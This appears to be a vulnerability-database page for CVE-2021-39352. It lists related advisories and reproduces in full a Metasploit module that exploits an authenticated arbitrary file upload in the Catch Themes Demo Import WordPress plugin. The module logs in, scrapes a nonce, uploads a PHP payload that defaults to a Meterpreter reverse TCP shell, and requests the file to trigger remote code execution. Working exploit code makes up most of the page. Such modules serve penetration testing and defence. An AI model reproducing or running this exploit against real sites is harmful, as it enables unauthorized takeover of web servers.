| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Wordpress Catch Themes Demo Import 1.6.1 Plugin- Remote Code Execution Exploit | 9 Dec 202100:00 | – | zdt | |
| CVE-2021-39352 | 22 Oct 202100:37 | – | circl | |
| WordPress 代码问题漏洞 | 21 Oct 202100:00 | – | cnnvd | |
| WordPress code issue vulnerability (CNVD-2021-83670) | 25 Oct 202100:00 | – | cnvd | |
| CVE-2021-39352 | 21 Oct 202119:38 | – | cve | |
| CVE-2021-39352 Catch Themes Demo Import <= 1.7 Admin+ Arbitrary File Upload | 21 Oct 202119:38 | – | cvelist | |
| Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated) | 9 Dec 202100:00 | – | exploitdb | |
| Wordpress Plugin Catch Themes Demo Import RCE | 5 Jan 202217:42 | – | metasploit | |
| CVE-2021-39352 | 21 Oct 202120:15 | – | nvd | |
| CVE-2021-39352 | 21 Oct 202120:15 | – | osv |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin Catch Themes Demo Import RCE',
'Description' => %q{
The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated
arbitrary file uploads via the import functionality found in the
~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation.
Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.
During testing this timeout was roughly 5min.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Ron Jost', # edb
'Thinkland Security Team' # listed on wordfence's site
],
'References' => [
[ 'EDB', '50580' ],
[ 'CVE', '2021-39352' ],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php' ],
[ 'URL', 'https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352' ],
[ 'WPVDB', '781f2ff4-cb94-40d7-96cb-90128daed862' ]
],
'Platform' => ['php'],
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Target', {}]
],
# we leave this out as typically php.ini will bail before 350mb, and payloads are small enough to fit as is.
# 'Payload' =>
# {
# # https://plugins.trac.wordpress.org/browser/catch-themes-demo-import/tags/1.6.1/inc/CatchThemesDemoImport.php#L226
# 'Space' => 367_001_600, # 350mb
# }
'DisclosureDate' => '2021-10-21',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
# https://support.shufflehound.com/forums/topic/i-cant-use-the-one-click-demo-installer/#post-31770
# re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.
'Reliability' => [ UNRELIABLE_SESSION ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of the account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),
]
end
def check
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8')
if checkcode == CheckCode::Safe
print_error('catch-themes-demo-import not a vulnerable version')
end
checkcode
end
def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie.nil?
vprint_error('Invalid login, check credentials')
return
end
# grab the ajax_nonce
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'themes.php'),
'method' => 'GET',
'cookie' => cookie,
'keep_cookies' => 'false', # for some reason wordpress gives back an unauth cookie here, so ignore it.
'vars_get' => {
'page' => 'catch-themes-demo-import'
}
})
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
/"ajax_nonce":"(?<ajax_nonce>[a-z0-9]{10})"/ =~ res.body
fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce
vprint_status("Ajax Nonce: #{ajax_nonce}")
random_filename = "#{rand_text_alphanumeric(6..12)}.php"
vprint_status("Uploading payload filename: #{random_filename}")
multipart_form = Rex::MIME::Message.new
multipart_form.add_part('ctdi_import_demo_data', nil, nil, 'form-data; name="action"')
multipart_form.add_part(ajax_nonce, nil, nil, 'form-data; name="security"')
multipart_form.add_part('undefined', nil, nil, 'form-data; name="selected"')
multipart_form.add_part(
payload.encoded,
'application/x-php',
nil,
"form-data; name=\"content_file\"; filename=\"#{random_filename}\""
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX')
fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500
# yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This
# is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully)
#
# [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123
# Stack trace:
# #0 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php(331): CatchThemes\\WPContentImporter2\\WXRImporter->get_reader()
# #1 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(80): CatchThemes\\WPContentImporter2\\WXRImporter->import()
# #2 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(137): CTDI\\Importer->import()
# #3 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/CatchThemesDemoImport.php(306): CTDI\\Importer->import_content()
# #4 /var/www/wordpress/wp-includes/class-wp-hook.php(292): CTDI\\CatchThemesDemoImport->import_demo_data_ajax_callback()
# #5 /var/www/wordpress/wp-includes/class-wp-hook.php(316): WP_Hook->apply_filters()
# #6 /var/www/wordpress/wp-includes/plugin.php(484): WP_ in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php on line 123
register_file_for_cleanup(random_filename)
month = Date.today.month.to_s.rjust(2, '0')
print_status("Triggering payload at wp-content/uploads/#{Date.today.year}/#{month}/#{random_filename}")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', Date.today.year, month, random_filename),
'method' => 'GET',
'keep_cookies' => 'true'
)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation